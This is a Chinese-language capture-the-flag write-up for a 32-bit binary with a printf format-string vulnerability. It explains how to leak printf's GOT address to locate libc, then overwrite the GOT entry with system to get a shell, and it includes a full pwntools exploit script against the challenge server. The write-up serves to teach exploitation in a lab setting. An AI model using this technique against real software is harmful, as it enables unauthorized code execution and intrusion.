1.checksec
2.ida
程序大概的逻辑是先使用read函数向s读入最多0x100个字节,然后将s拼接在Repeater:后面再加一个\n后将其存入format里,然后输出format,s的大小为0x239,故不能栈溢出。
而printf(format)这存在格式化字符串漏洞。而且该程序开启的只是Partial RELRO保护,所以每个libc函数对应的GOT表项是可以被修改的。我们可以将printf对应的GOT表内容改为system函数的地址,然后再通过read函数将/bin/sh读入到system的参数中执行后门,所以现在我们要解决2个大问题,一是要知道printf的GOT表地址,二是要确定system函数地址。printf的GOT表地址可以通过ELF很容易获得,而system函数在程序中不曾出现,我们就需要泄露libc了,这里我们就可以通过printf(format)这里的格式化字符串漏洞来泄露libc,这里我们就需要确定format是第几个参数了,而且后面也会用到。我们这里可以不用下断点,直接输入aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
发现在第7个的第一个字节和第8个的后三个字节都是以0x61表示的a,而内存中字节逆序存放,故printf(format)中的format是从第七个参数的最后一个字节开始,然后接着第8个参数存放,故payload可以入以下构造(构造方法不唯一):payload=b’a’+b’%9$s’+p32(printf_got),这样第一个b’a’就被放在了第七个参数的最后一个位置,b’%9$s’被放在第8个参数的位置,p32(printf_got)被放在第九个参数的位置,这样在读取%9$s时就会打印出以第九个参数为地址处的内容,也就是printf的真实地址。然后再想办法接收就可以了,这里我们使用p.recv(14)[10:]来接收,因为前面有Repeater:a一共10个字节,所以我们从第11个字节开始接收4个就是printf的真实地址。这样我们就泄露libc得到system函数的地址。
后面将printf_got替换为system的地址时用到了fmtstr_payload()函数,先上exp
3.exp
from pwn import*
p=remote('node5.buuoj.cn',25060)
elf=ELF('./26')
printf_got=elf.got['printf']
payload=b'a'+b'%9$s'+p32(printf_got)
p.sendlineafter('tell me:',payload)
printf_addr=u32(p.recv(14)[10:])
print(hex(printf_addr))
libc=ELF('./ubantu1632.so')
libcbase=printf_addr-libc.sym['printf']
sys=libcbase+libc.sym['system']
payload=b'a'+fmtstr_payload(8,{printf_got:sys},numbwritten = 0xa)
p.sendline(payload)
p.sendline(';/bin/sh\x00')
p.interactive()
在第二次发送的payload中8是第8个参数的意思,numbwritten = 0xa必须有,它表示已经读入的字节数位0xa,因为在使用fmtstr_payload这个函数前就已经读入了0xa个字节:Repeater:a了